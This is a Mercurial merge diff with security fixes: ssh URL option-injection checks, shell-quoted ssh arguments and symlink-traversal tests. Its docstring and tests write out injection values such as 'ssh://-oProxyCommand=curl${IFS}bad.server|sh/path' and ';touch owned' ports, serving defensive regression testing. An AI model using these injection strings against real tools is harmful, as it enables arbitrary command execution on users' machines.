##// END OF EJS Templates
merge with stable
Augie Fackler -
r33736:02a745c2 merge default
parent child Browse files
Show More
@@ -149,3 +149,4 b' 26c49ed51a698ec016d2b4c6b44ca3c3f73cc788'
149 857876ebaed4e315f63157bd157d6ce553c7ab73 0 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
@@ -162,3 +162,4 b' 26c49ed51a698ec016d2b4c6b44ca3c3f73cc788'
162 857876ebaed4e315f63157bd157d6ce553c7ab73 4.3-rc
162 857876ebaed4e315f63157bd157d6ce553c7ab73 4.3-rc
163 5544af8622863796a0027566f6b646e10d522c4c 4.3
163 5544af8622863796a0027566f6b646e10d522c4c 4.3
164 943c91326b23954e6e1c6960d0239511f9530258 4.2.3
164 943c91326b23954e6e1c6960d0239511f9530258 4.2.3
165 3fee7f7d2da04226914c2258cc2884dc27384fd7 4.3.1
@@ -382,7 +382,7 b' def overridewalk(orig, self, match, subr'
382 visit.update(f for f in copymap
382 visit.update(f for f in copymap
383 if f not in results and matchfn(f))
383 if f not in results and matchfn(f))
384
384
385 audit = pathutil.pathauditor(self._root).check
385 audit = pathutil.pathauditor(self._root, cached=True).check
386 auditpass = [f for f in visit if audit(f)]
386 auditpass = [f for f in visit if audit(f)]
387 auditpass.sort()
387 auditpass.sort()
388 auditfail = visit.difference(auditpass)
388 auditfail = visit.difference(auditpass)
@@ -3539,7 +3539,7 b' def _performrevert(repo, parents, ctx, a'
3539 pass
3539 pass
3540 repo.dirstate.remove(f)
3540 repo.dirstate.remove(f)
3541
3541
3542 audit_path = pathutil.pathauditor(repo.root)
3542 audit_path = pathutil.pathauditor(repo.root, cached=True)
3543 for f in actions['forget'][0]:
3543 for f in actions['forget'][0]:
3544 if interactive:
3544 if interactive:
3545 choice = repo.ui.promptchoice(
3545 choice = repo.ui.promptchoice(
@@ -1152,7 +1152,7 b' class dirstate(object):'
1152 # that wasn't ignored, and everything that matched was stat'ed
1152 # that wasn't ignored, and everything that matched was stat'ed
1153 # and is already in results.
1153 # and is already in results.
1154 # The rest must thus be ignored or under a symlink.
1154 # The rest must thus be ignored or under a symlink.
1155 audit_path = pathutil.pathauditor(self._root)
1155 audit_path = pathutil.pathauditor(self._root, cached=True)
1156
1156
1157 for nf in iter(visit):
1157 for nf in iter(visit):
1158 # If a stat for the same file was already added with a
1158 # If a stat for the same file was already added with a
@@ -334,11 +334,11 b' class localrepository(object):'
334 # only used when writing this comment: basectx.match
334 # only used when writing this comment: basectx.match
335 self.auditor = pathutil.pathauditor(self.root, self._checknested)
335 self.auditor = pathutil.pathauditor(self.root, self._checknested)
336 self.nofsauditor = pathutil.pathauditor(self.root, self._checknested,
336 self.nofsauditor = pathutil.pathauditor(self.root, self._checknested,
337 realfs=False)
337 realfs=False, cached=True)
338 self.baseui = baseui
338 self.baseui = baseui
339 self.ui = baseui.copy()
339 self.ui = baseui.copy()
340 self.ui.copy = baseui.copy # prevent copying repo configuration
340 self.ui.copy = baseui.copy # prevent copying repo configuration
341 self.vfs = vfsmod.vfs(self.path)
341 self.vfs = vfsmod.vfs(self.path, cacheaudited=True)
342 if (self.ui.configbool('devel', 'all-warnings') or
342 if (self.ui.configbool('devel', 'all-warnings') or
343 self.ui.configbool('devel', 'check-locks')):
343 self.ui.configbool('devel', 'check-locks')):
344 self.vfs.audit = self._getvfsward(self.vfs.audit)
344 self.vfs.audit = self._getvfsward(self.vfs.audit)
@@ -421,12 +421,13 b' class localrepository(object):'
421 '"sparse" extensions to access'))
421 '"sparse" extensions to access'))
422
422
423 self.store = store.store(
423 self.store = store.store(
424 self.requirements, self.sharedpath, vfsmod.vfs)
424 self.requirements, self.sharedpath,
425 lambda base: vfsmod.vfs(base, cacheaudited=True))
425 self.spath = self.store.path
426 self.spath = self.store.path
426 self.svfs = self.store.vfs
427 self.svfs = self.store.vfs
427 self.sjoin = self.store.join
428 self.sjoin = self.store.join
428 self.vfs.createmode = self.store.createmode
429 self.vfs.createmode = self.store.createmode
429 self.cachevfs = vfsmod.vfs(cachepath)
430 self.cachevfs = vfsmod.vfs(cachepath, cacheaudited=True)
430 self.cachevfs.createmode = self.store.createmode
431 self.cachevfs.createmode = self.store.createmode
431 if (self.ui.configbool('devel', 'all-warnings') or
432 if (self.ui.configbool('devel', 'all-warnings') or
432 self.ui.configbool('devel', 'check-locks')):
433 self.ui.configbool('devel', 'check-locks')):
@@ -33,13 +33,18 b' class pathauditor(object):'
33 The file system checks are only done when 'realfs' is set to True (the
33 The file system checks are only done when 'realfs' is set to True (the
34 default). They should be disable then we are auditing path for operation on
34 default). They should be disable then we are auditing path for operation on
35 stored history.
35 stored history.
36
37 If 'cached' is set to True, audited paths and sub-directories are cached.
38 Be careful to not keep the cache of unmanaged directories for long because
39 audited paths may be replaced with symlinks.
36 '''
40 '''
37
41
38 def __init__(self, root, callback=None, realfs=True):
42 def __init__(self, root, callback=None, realfs=True, cached=False):
39 self.audited = set()
43 self.audited = set()
40 self.auditeddir = set()
44 self.auditeddir = set()
41 self.root = root
45 self.root = root
42 self._realfs = realfs
46 self._realfs = realfs
47 self._cached = cached
43 self.callback = callback
48 self.callback = callback
44 if os.path.lexists(root) and not util.fscasesensitive(root):
49 if os.path.lexists(root) and not util.fscasesensitive(root):
45 self.normcase = util.normcase
50 self.normcase = util.normcase
@@ -96,6 +101,7 b' class pathauditor(object):'
96 self._checkfs(prefix, path)
101 self._checkfs(prefix, path)
97 prefixes.append(normprefix)
102 prefixes.append(normprefix)
98
103
104 if self._cached:
99 self.audited.add(normpath)
105 self.audited.add(normpath)
100 # only add prefixes to the cache after checking everything: we don't
106 # only add prefixes to the cache after checking everything: we don't
101 # want to add "foo/bar/baz" before checking if there's a "foo/.hg"
107 # want to add "foo/bar/baz" before checking if there's a "foo/.hg"
@@ -23,6 +23,7 b' import unicodedata'
23 from .i18n import _
23 from .i18n import _
24 from . import (
24 from . import (
25 encoding,
25 encoding,
26 error,
26 pycompat,
27 pycompat,
27 )
28 )
28
29
@@ -91,7 +92,13 b' def parsepatchoutput(output_line):'
91 def sshargs(sshcmd, host, user, port):
92 def sshargs(sshcmd, host, user, port):
92 '''Build argument list for ssh'''
93 '''Build argument list for ssh'''
93 args = user and ("%s@%s" % (user, host)) or host
94 args = user and ("%s@%s" % (user, host)) or host
94 return port and ("%s -p %s" % (args, port)) or args
95 if '-' in args[:1]:
96 raise error.Abort(
97 _('illegal ssh hostname or username starting with -: %s') % args)
98 args = shellquote(args)
99 if port:
100 args = '-p %s %s' % (shellquote(port), args)
101 return args
95
102
96 def isexec(f):
103 def isexec(f):
97 """check whether a file is executable"""
104 """check whether a file is executable"""
@@ -738,7 +738,7 b' def _interestingfiles(repo, matcher):'
738 This is different from dirstate.status because it doesn't care about
738 This is different from dirstate.status because it doesn't care about
739 whether files are modified or clean.'''
739 whether files are modified or clean.'''
740 added, unknown, deleted, removed, forgotten = [], [], [], [], []
740 added, unknown, deleted, removed, forgotten = [], [], [], [], []
741 audit_path = pathutil.pathauditor(repo.root)
741 audit_path = pathutil.pathauditor(repo.root, cached=True)
742
742
743 ctx = repo[None]
743 ctx = repo[None]
744 dirstate = repo.dirstate
744 dirstate = repo.dirstate
@@ -124,6 +124,8 b' class sshpeer(wireproto.wirepeer):'
124 if u.scheme != 'ssh' or not u.host or u.path is None:
124 if u.scheme != 'ssh' or not u.host or u.path is None:
125 self._abort(error.RepoError(_("couldn't parse location %s") % path))
125 self._abort(error.RepoError(_("couldn't parse location %s") % path))
126
126
127 util.checksafessh(path)
128
127 self.user = u.user
129 self.user = u.user
128 if u.passwd is not None:
130 if u.passwd is not None:
129 self._abort(error.RepoError(_("password in URL not supported")))
131 self._abort(error.RepoError(_("password in URL not supported")))
@@ -134,10 +136,7 b' class sshpeer(wireproto.wirepeer):'
134 sshcmd = self.ui.config("ui", "ssh")
136 sshcmd = self.ui.config("ui", "ssh")
135 remotecmd = self.ui.config("ui", "remotecmd")
137 remotecmd = self.ui.config("ui", "remotecmd")
136
138
137 args = util.sshargs(sshcmd,
139 args = util.sshargs(sshcmd, self.host, self.user, self.port)
138 _serverquote(self.host),
139 _serverquote(self.user),
140 _serverquote(self.port))
141
140
142 if create:
141 if create:
143 cmd = '%s %s %s' % (sshcmd, args,
142 cmd = '%s %s %s' % (sshcmd, args,
@@ -1281,6 +1281,10 b' class svnsubrepo(abstractsubrepo):'
1281 # The revision must be specified at the end of the URL to properly
1281 # The revision must be specified at the end of the URL to properly
1282 # update to a directory which has since been deleted and recreated.
1282 # update to a directory which has since been deleted and recreated.
1283 args.append('%s@%s' % (state[0], state[1]))
1283 args.append('%s@%s' % (state[0], state[1]))
1284
1285 # SEC: check that the ssh url is safe
1286 util.checksafessh(state[0])
1287
1284 status, err = self._svncommand(args, failok=True)
1288 status, err = self._svncommand(args, failok=True)
1285 _sanitize(self.ui, self.wvfs, '.svn')
1289 _sanitize(self.ui, self.wvfs, '.svn')
1286 if not re.search('Checked out revision [0-9]+.', status):
1290 if not re.search('Checked out revision [0-9]+.', status):
@@ -1546,6 +1550,9 b' class gitsubrepo(abstractsubrepo):'
1546
1550
1547 def _fetch(self, source, revision):
1551 def _fetch(self, source, revision):
1548 if self._gitmissing():
1552 if self._gitmissing():
1553 # SEC: check for safe ssh url
1554 util.checksafessh(source)
1555
1549 source = self._abssource(source)
1556 source = self._abssource(source)
1550 self.ui.status(_('cloning subrepo %s from %s\n') %
1557 self.ui.status(_('cloning subrepo %s from %s\n') %
1551 (self._relpath, source))
1558 (self._relpath, source))
@@ -2907,6 +2907,21 b' def hasdriveletter(path):'
2907 def urllocalpath(path):
2907 def urllocalpath(path):
2908 return url(path, parsequery=False, parsefragment=False).localpath()
2908 return url(path, parsequery=False, parsefragment=False).localpath()
2909
2909
2910 def checksafessh(path):
2911 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2912
2913 This is a sanity check for ssh urls. ssh will parse the first item as
2914 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2915 Let's prevent these potentially exploited urls entirely and warn the
2916 user.
2917
2918 Raises an error.Abort when the url is unsafe.
2919 """
2920 path = urlreq.unquote(path)
2921 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2922 raise error.Abort(_('potentially unsafe url: %r') %
2923 (path,))
2924
2910 def hidepassword(u):
2925 def hidepassword(u):
2911 '''hide user credential in a url string'''
2926 '''hide user credential in a url string'''
2912 u = url(u)
2927 u = url(u)
@@ -295,8 +295,13 b' class vfs(abstractvfs):'
295
295
296 This class is used to hide the details of COW semantics and
296 This class is used to hide the details of COW semantics and
297 remote file access from higher level code.
297 remote file access from higher level code.
298
299 'cacheaudited' should be enabled only if (a) vfs object is short-lived, or
300 (b) the base directory is managed by hg and considered sort-of append-only.
301 See pathutil.pathauditor() for details.
298 '''
302 '''
299 def __init__(self, base, audit=True, expandpath=False, realpath=False):
303 def __init__(self, base, audit=True, cacheaudited=False, expandpath=False,
304 realpath=False):
300 if expandpath:
305 if expandpath:
301 base = util.expandpath(base)
306 base = util.expandpath(base)
302 if realpath:
307 if realpath:
@@ -304,7 +309,7 b' class vfs(abstractvfs):'
304 self.base = base
309 self.base = base
305 self._audit = audit
310 self._audit = audit
306 if audit:
311 if audit:
307 self.audit = pathutil.pathauditor(self.base)
312 self.audit = pathutil.pathauditor(self.base, cached=cacheaudited)
308 else:
313 else:
309 self.audit = (lambda path, mode=None: True)
314 self.audit = (lambda path, mode=None: True)
310 self.createmode = None
315 self.createmode = None
@@ -17,6 +17,7 b' import sys'
17 from .i18n import _
17 from .i18n import _
18 from . import (
18 from . import (
19 encoding,
19 encoding,
20 error,
20 policy,
21 policy,
21 pycompat,
22 pycompat,
22 win32,
23 win32,
@@ -203,7 +204,14 b' def sshargs(sshcmd, host, user, port):'
203 '''Build argument list for ssh or Plink'''
204 '''Build argument list for ssh or Plink'''
204 pflag = 'plink' in sshcmd.lower() and '-P' or '-p'
205 pflag = 'plink' in sshcmd.lower() and '-P' or '-p'
205 args = user and ("%s@%s" % (user, host)) or host
206 args = user and ("%s@%s" % (user, host)) or host
206 return port and ("%s %s %s" % (args, pflag, port)) or args
207 if args.startswith('-') or args.startswith('/'):
208 raise error.Abort(
209 _('illegal ssh hostname or username starting with - or /: %s') %
210 args)
211 args = shellquote(args)
212 if port:
213 args = '%s %s %s' % (pflag, shellquote(port), args)
214 return args
207
215
208 def setflags(f, l, x):
216 def setflags(f, l, x):
209 pass
217 pass
@@ -129,3 +129,103 b' attack /tmp/test'
129 [255]
129 [255]
130
130
131 $ cd ..
131 $ cd ..
132
133 Test symlink traversal on merge:
134 --------------------------------
135
136 #if symlink
137
138 set up symlink hell
139
140 $ mkdir merge-symlink-out
141 $ hg init merge-symlink
142 $ cd merge-symlink
143 $ touch base
144 $ hg commit -qAm base
145 $ ln -s ../merge-symlink-out a
146 $ hg commit -qAm 'symlink a -> ../merge-symlink-out'
147 $ hg up -q 0
148 $ mkdir a
149 $ touch a/poisoned
150 $ hg commit -qAm 'file a/poisoned'
151 $ hg log -G -T '{rev}: {desc}\n'
152 @ 2: file a/poisoned
153 |
154 | o 1: symlink a -> ../merge-symlink-out
155 |/
156 o 0: base
157
158
159 try trivial merge
160
161 $ hg up -qC 1
162 $ hg merge 2
163 abort: path 'a/poisoned' traverses symbolic link 'a'
164 [255]
165
166 try rebase onto other revision: cache of audited paths should be discarded,
167 and the rebase should fail (issue5628)
168
169 $ hg up -qC 2
170 $ hg rebase -s 2 -d 1 --config extensions.rebase=
171 rebasing 2:e73c21d6b244 "file a/poisoned" (tip)
172 abort: path 'a/poisoned' traverses symbolic link 'a'
173 [255]
174 $ ls ../merge-symlink-out
175
176 $ cd ..
177
178 Test symlink traversal on update:
179 ---------------------------------
180
181 $ mkdir update-symlink-out
182 $ hg init update-symlink
183 $ cd update-symlink
184 $ ln -s ../update-symlink-out a
185 $ hg commit -qAm 'symlink a -> ../update-symlink-out'
186 $ hg rm a
187 $ mkdir a && touch a/b
188 $ hg ci -qAm 'file a/b' a/b
189 $ hg up -qC 0
190 $ hg rm a
191 $ mkdir a && touch a/c
192 $ hg ci -qAm 'rm a, file a/c'
193 $ hg log -G -T '{rev}: {desc}\n'
194 @ 2: rm a, file a/c
195 |
196 | o 1: file a/b
197 |/
198 o 0: symlink a -> ../update-symlink-out
199
200
201 try linear update where symlink already exists:
202
203 $ hg up -qC 0
204 $ hg up 1
205 abort: path 'a/b' traverses symbolic link 'a'
206 [255]
207
208 try linear update including symlinked directory and its content: paths are
209 audited first by calculateupdates(), where no symlink is created so both
210 'a' and 'a/b' are taken as good paths. still applyupdates() should fail.
211
212 $ hg up -qC null
213 $ hg up 1
214 abort: path 'a/b' traverses symbolic link 'a'
215 [255]
216 $ ls ../update-symlink-out
217
218 try branch update replacing directory with symlink, and its content: the
219 path 'a' is audited as a directory first, which should be audited again as
220 a symlink.
221
222 $ rm -f a
223 $ hg up -qC 2
224 $ hg up 1
225 abort: path 'a/b' traverses symbolic link 'a'
226 [255]
227 $ ls ../update-symlink-out
228
229 $ cd ..
230
231 #endif
@@ -1097,3 +1097,66 b' pooled".'
1097 adding remote bookmark bookA
1097 adding remote bookmark bookA
1098 updating working directory
1098 updating working directory
1099 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1099 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1100
1101 SEC: check for unsafe ssh url
1102
1103 $ cat >> $HGRCPATH << EOF
1104 > [ui]
1105 > ssh = sh -c "read l; read l; read l"
1106 > EOF
1107
1108 $ hg clone 'ssh://-oProxyCommand=touch${IFS}owned/path'
1109 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
1110 [255]
1111 $ hg clone 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
1112 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
1113 [255]
1114 $ hg clone 'ssh://fakehost|touch%20owned/path'
1115 abort: no suitable response from remote hg!
1116 [255]
1117 $ hg clone 'ssh://fakehost%7Ctouch%20owned/path'
1118 abort: no suitable response from remote hg!
1119 [255]
1120
1121 $ hg clone 'ssh://-oProxyCommand=touch owned%20foo@example.com/nonexistent/path'
1122 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned foo@example.com/nonexistent/path'
1123 [255]
1124
1125 #if windows
1126 $ hg clone "ssh://%26touch%20owned%20/" --debug
1127 running sh -c "read l; read l; read l" "&touch owned " "hg -R . serve --stdio"
1128 sending hello command
1129 sending between command
1130 abort: no suitable response from remote hg!
1131 [255]
1132 $ hg clone "ssh://example.com:%26touch%20owned%20/" --debug
1133 running sh -c "read l; read l; read l" -p "&touch owned " example.com "hg -R . serve --stdio"
1134 sending hello command
1135 sending between command
1136 abort: no suitable response from remote hg!
1137 [255]
1138 #else
1139 $ hg clone "ssh://%3btouch%20owned%20/" --debug
1140 running sh -c "read l; read l; read l" ';touch owned ' 'hg -R . serve --stdio'
1141 sending hello command
1142 sending between command
1143 abort: no suitable response from remote hg!
1144 [255]
1145 $ hg clone "ssh://example.com:%3btouch%20owned%20/" --debug
1146 running sh -c "read l; read l; read l" -p ';touch owned ' example.com 'hg -R . serve --stdio'
1147 sending hello command
1148 sending between command
1149 abort: no suitable response from remote hg!
1150 [255]
1151 #endif
1152
1153 $ hg clone "ssh://v-alid.example.com/" --debug
1154 running sh -c "read l; read l; read l" v-alid\.example\.com ['"]hg -R \. serve --stdio['"] (re)
1155 sending hello command
1156 sending between command
1157 abort: no suitable response from remote hg!
1158 [255]
1159
1160 We should not have created a file named owned - if it exists, the
1161 attack succeeded.
1162 $ if test -f owned; then echo 'you got owned'; fi
@@ -908,3 +908,80 b' cases.'
908 *** runcommand log
908 *** runcommand log
909 0 bar (bar)
909 0 bar (bar)
910 *** runcommand verify -q
910 *** runcommand verify -q
911
912 $ cd ..
913
914 Test symlink traversal over cached audited paths:
915 -------------------------------------------------
916
917 #if symlink
918
919 set up symlink hell
920
921 $ mkdir merge-symlink-out
922 $ hg init merge-symlink
923 $ cd merge-symlink
924 $ touch base
925 $ hg commit -qAm base
926 $ ln -s ../merge-symlink-out a
927 $ hg commit -qAm 'symlink a -> ../merge-symlink-out'
928 $ hg up -q 0
929 $ mkdir a
930 $ touch a/poisoned
931 $ hg commit -qAm 'file a/poisoned'
932 $ hg log -G -T '{rev}: {desc}\n'
933 @ 2: file a/poisoned
934 |
935 | o 1: symlink a -> ../merge-symlink-out
936 |/
937 o 0: base
938
939
940 try trivial merge after update: cache of audited paths should be discarded,
941 and the merge should fail (issue5628)
942
943 $ hg up -q null
944 >>> from hgclient import readchannel, runcommand, check
945 >>> @check
946 ... def merge(server):
947 ... readchannel(server)
948 ... # audit a/poisoned as a good path
949 ... runcommand(server, ['up', '-qC', '2'])
950 ... runcommand(server, ['up', '-qC', '1'])
951 ... # here a is a symlink, so a/poisoned is bad
952 ... runcommand(server, ['merge', '2'])
953 *** runcommand up -qC 2
954 *** runcommand up -qC 1
955 *** runcommand merge 2
956 abort: path 'a/poisoned' traverses symbolic link 'a'
957 [255]
958 $ ls ../merge-symlink-out
959
960 cache of repo.auditor should be discarded, so matcher would never traverse
961 symlinks:
962
963 $ hg up -qC 0
964 $ touch ../merge-symlink-out/poisoned
965 >>> from hgclient import readchannel, runcommand, check
966 >>> @check
967 ... def files(server):
968 ... readchannel(server)
969 ... runcommand(server, ['up', '-qC', '2'])
970 ... # audit a/poisoned as a good path
971 ... runcommand(server, ['files', 'a/poisoned'])
972 ... runcommand(server, ['up', '-qC', '0'])
973 ... runcommand(server, ['up', '-qC', '1'])
974 ... # here 'a' is a symlink, so a/poisoned should be warned
975 ... runcommand(server, ['files', 'a/poisoned'])
976 *** runcommand up -qC 2
977 *** runcommand files a/poisoned
978 a/poisoned
979 *** runcommand up -qC 0
980 *** runcommand up -qC 1
981 *** runcommand files a/poisoned
982 abort: path 'a/poisoned' traverses symbolic link 'a'
983 [255]
984
